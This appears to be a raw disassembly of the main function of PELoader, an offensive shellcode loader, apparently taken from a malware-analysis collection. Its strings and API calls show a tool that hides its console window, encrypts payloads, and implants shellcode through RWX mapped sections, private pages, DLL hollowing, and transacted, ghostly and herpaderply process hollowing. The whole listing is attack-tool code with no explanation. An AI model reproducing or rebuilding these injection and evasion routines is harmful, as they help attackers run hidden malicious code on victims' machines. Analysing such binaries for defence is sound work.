Function at 0x409690
Capabilities:
Allocate or change rwx memory
Hide graphical window
Map section object
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f72b
mov eax, dword fs:[0]
push eax
sub esp, 0x500
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb0
lea eax, [ebp - 0x4f4]
push 0
push eax
call fcn.004130f0
push ecx
lea ecx, [ebp - 0x4f4]
call fcn.0040a570
mov dword [ebp - 4], 0
mov eax, dword [0x444590]
push 0
push 0
mov ecx, dword [eax + 4]
lea eax, [ebp - 0x4f0]
add ecx, 0x444590
mov dword [ecx + 0x38], eax
call fcn.00402490
mov eax, dword [0x444678]
push 0
push 0
mov ecx, dword [eax + 4]
lea eax, [ebp - 0x4f0]
add ecx, 0x444678
mov dword [ecx + 0x38], eax
call fcn.00402490
mov eax, 0x20
xor edi, edi
push 0x208
mov word [ebp - 0x42c], ax
lea eax, [ebp - 0x21c]
push edi
push eax
call fcn.004130f0
add esp, 0xc
cmp esi, 1
jle 0x4097a9
push 7
push str.__check
push dword [ebx + 4]
call fcn.00418680
add esp, 0xc
test eax, eax
jne 0x4097a9
push str.cdll
lea edi, [eax + 2]
call fcn.004184e5
add esp, 4
mov esi, eax
lea eax, [ebp - 0x21c]
push 0x208
push eax
push str._APPDATA_PowerPower.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ebx, [ebp - 0x21c]
jmp 0x409890
push str.hagrid
call fcn.00419786
mov esi, eax
add esp, 4
test esi, esi
je 0x40986d
push esi
push ecx
push str.argument:
push 0x444590
call fcn.00404fc0
add esp, 0xc
push eax
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push esi
call fcn.00417c39
mov esi, eax
add esp, 8
test esi, esi
je 0x409d9e
nop dword [eax]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409805
xor eax, eax
sub ecx, edx
add ecx, 1
setb al
neg eax
or eax, ecx
push eax
call fcn.00419791
add esp, 4
mov dword [ebp + edi*4 - 0x43c], eax
nop word [eax + eax]
mov cl, byte [esi]
lea esi, [esi + 1]
mov byte [eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x409830
lea eax, [ebp - 0x42c]
inc edi
push eax
push 0
call fcn.00417c39
mov esi, eax
add esp, 8
test esi, esi
jne 0x409800
cmp edi, 2
jl 0x409d9e
mov ebx, dword [ebp - 0x438]
mov esi, dword [ebp - 0x43c]
jmp 0x409890
push str.cdll
mov edi, 2
call fcn.004184e5
add esp, 4
mov esi, eax
push str.Power.dat
call fcn.004184e5
add esp, 4
mov ebx, eax
mov byte [ebp - 0x4fd], 0
mov edx, str.cdll
mov ecx, esi
nop
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4098c0
test al, al
je 0x4098bc
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4098c0
add ecx, 2
add edx, 2
test al, al
jne 0x4098a0
xor eax, eax
jmp 0x4098c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4098e2
push str.Classic
push 0x444590
call fcn.00404fc0
add esp, 8
mov byte [ebp - 0x4fd], 1
mov ecx, str.mdll
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409910
test dl, dl
je 0x40990c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409910
add eax, 2
add ecx, 2
test dl, dl
jne 0x4098f0
xor eax, eax
jmp 0x409915
sbb eax, eax
or eax, 1
test eax, eax
je 0x409dc7
mov ecx, str.cdll
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409944
test dl, dl
je 0x409940
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409944
add eax, 2
add ecx, 2
test dl, dl
jne 0x409924
xor eax, eax
jmp 0x409949
sbb eax, eax
or eax, 1
test eax, eax
je 0x409dc7
mov ecx, 0x43e984
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409978
test dl, dl
je 0x409974
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409978
add eax, 2
add ecx, 2
test dl, dl
jne 0x409958
xor eax, eax
jmp 0x40997d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4099c1
push str.Encrypting_File_n
push 0x444590
call fcn.00404fc0
add esp, 8
cmp edi, 2
jne 0x4099a6
xor edx, edx
mov ecx, ebx
call fcn.0040cf40
jmp 0x409e24
cmp edi, 3
jne 0x409d9e
mov edx, dword [ebp - 0x434]
mov ecx, ebx
call fcn.0040cf40
jmp 0x409e24
mov ecx, 0x43e99c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4099e8
test dl, dl
je 0x4099e4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4099e8
add eax, 2
add ecx, 2
test dl, dl
jne 0x4099c8
xor eax, eax
jmp 0x4099ed
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409b6c
push str.Mapped_Section_n
push 0x444590
call fcn.00404fc0
lea eax, [ebp - 0x4f8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x504]
push eax
lea edx, [ebp - 0x508]
call fcn.00408960
add esp, 0x14
test eax, eax
je 0x409e24
mov eax, dword [ebp - 0x4f8]
push 0
push 0x8000000
push 0x40
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x43c]
push eax
push 0
push 0xe
lea eax, [ebp - 0x4fc]
mov dword [ebp - 0x4fc], 0
push eax
mov dword [ebp - 0x438], 0
call dword [sym.imp.ntdll.dll_NtCreateSection]
push 0x40
push 0
push 2
lea eax, [ebp - 0x440]
mov dword [ebp - 0x428], 0
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x4fc]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push str.Created_RWX_mapped_section_n
push 0x444590
call fcn.00404fc0
add esp, 8
mov dword [ebp - 0x444], 0
lea eax, [ebp - 0x444]
push eax
push 4
push dword [ebp - 0x4f8]
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.___Set_page_to_RW_n
push 0x444590
call fcn.00404fc0
mov eax, dword [ebp - 0x428]
mov esi, dword [ebp - 0x504]
push 0
push 0
cdq
push edx
push eax
push dword [ebp - 0x4f8]
push esi
call fcn.0040d960
add esp, 0x20
test al, al
jne 0x409b2d
push str.____Failed_to_relocate_the_implant__n
push 0x444678
call fcn.00404fc0
add esp, 8
jmp 0x409e24
push dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x428]
mov edx, esi
call fcn.00408b40
add esp, 4
test al, al
je 0x409e24
push 0
push esi
call fcn.0040e150
mov edx, dword [ebp - 0x508]
add esp, 8
mov ecx, dword [ebp - 0x428]
call fcn.00408d70
jmp 0x409e24
mov ecx, str.priv
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409b93
test dl, dl
je 0x409b8f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409b93
add eax, 2
add ecx, 2
test dl, dl
jne 0x409b73
xor eax, eax
jmp 0x409b98
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409c8c
push str.Private_Page_n
push 0x444590
call fcn.00404fc0
lea eax, [ebp - 0x428]
mov ecx, ebx
push eax
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x508]
push eax
lea edx, [ebp - 0x504]
call fcn.00408960
add esp, 0x14
test eax, eax
je 0x409e24
push 4
push 0x3000
lea eax, [ebp - 0x428]
mov dword [ebp - 0x4f8], 0
push eax
push 0
lea eax, [ebp - 0x4f8]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
push str.___Allocated_a_RW_memory_region_n
push 0x444590
call fcn.00404fc0
mov eax, dword [ebp - 0x4f8]
mov esi, dword [ebp - 0x508]
push 0
push 0
cdq
push edx
push eax
push dword [ebp - 0x428]
push esi
call fcn.0040d960
add esp, 0x20
test al, al
je 0x409b16
push dword [ebp - 0x428]
mov ecx, dword [ebp - 0x4f8]
mov edx, esi
call fcn.00408b40
add esp, 4
test al, al
je 0x409e24
push str.___Set_page_to_RX_n
push 0x444590
call fcn.00404fc0
push 0
push esi
call fcn.0040e150
mov edx, dword [ebp - 0x504]
add esp, 0x10
mov ecx, dword [ebp - 0x4f8]
call fcn.00408d70
jmp 0x409e24
mov ecx, str.ghost
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409cb3
test dl, dl
je 0x409caf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409cb3
add eax, 2
add ecx, 2
test dl, dl
jne 0x409c93
xor eax, eax
jmp 0x409cb8
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409cfd
push str.Ghostly_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 0
xor edx, edx
add esp, 8
mov ecx, ebx
cmp edi, 3
jge 0x409ced
push 0
call fcn.004093e0
jmp 0x409e21
push dword [ebp - 0x434]
call fcn.004093e0
jmp 0x409e21
mov ecx, 0x43e9e4
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409d24
test dl, dl
je 0x409d20
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409d24
add eax, 2
add ecx, 2
test dl, dl
jne 0x409d04
xor eax, eax
jmp 0x409d29
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409d4d
push str.Transacted_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 1
mov edx, 1
jmp 0x409cd7
mov eax, str.herpaderp
mov cl, byte [esi]
cmp cl, byte [eax]
jne 0x409d72
test cl, cl
je 0x409d6e
mov cl, byte [esi + 1]
cmp cl, byte [eax + 1]
jne 0x409d72
add esi, 2
add eax, 2
test cl, cl
jne 0x409d52
xor eax, eax
jmp 0x409d77
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409d9e
push str.Herpaderply_Hollowing_n
push 0x444590
call fcn.00404fc0
mov dword [0x445140], 2
mov edx, 2
jmp 0x409cd7
push str.PELoader_nMore_info:_https:__github.com_Hagrid29_PELoader__n
push 0x444590
call fcn.00404fc0
push str.set_hagrid_PELoader_argument__n.PELoader.exe__binaray_argument__nOptions:_nEncryption:_enc__payload___output_file__n_t_payload____the_payload_that_will_be_encrypted_nPrivate_Page:_priv__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nMapped_Page:_map__encrypted_payload__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_nDLL_Hollowing__Load_:_cdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_loaded_by_LoadLibary__default:_auto_search_a_sutiable_DLL__nDLL_Hollowing__Map_:_mdll__encrypted_payload___target_dll__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_target_dll____the_DLL_that_will_be_mapped__default:_auto_search_a_sutiable_DLL__nTransacted_Hollowing:_txf__encrypted_payload___dummy_file__file_path__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__not_necessarily_exist__that_will_be_transacted__default:_create_random_file__nGhostly_Hollowing:_ghost__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_put_in_delete_pending_state__default:_create_random_file__nHerpaderply_Hollowing:_herpaderp__encrypted_payload___dummy_file__n_t_encrypted_payload____the_shellcode_that_will_be_implanted_n_t_dummy_file____the_dummy_file__necessarily_exist__that_will_be_overwritten__default:_create_random_file__n
push 0x444590
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0x14
jmp 0x409e24
push str.DLL_Hollowing_n
push 0x444590
call fcn.00404fc0
push 0x208
lea eax, [ebp - 0x424]
push 0
push eax
call fcn.004130f0
add esp, 0x14
cmp edi, 3
jge 0x409df5
push 0
jmp 0x409e14
push 0x208
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0x434]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x424]
push eax
mov dl, byte [ebp - 0x4fd]
mov ecx, ebx
call fcn.00409170
add esp, 4
mov eax, dword [ebp - 0x4f4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x4f8], eax
lea ecx, [ebp - 0x4f0]
call fcn.0040b360
mov eax, dword [ebp - 0x4f4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x4f8], eax
lea eax, [ebp - 0x48c]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004116d2
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret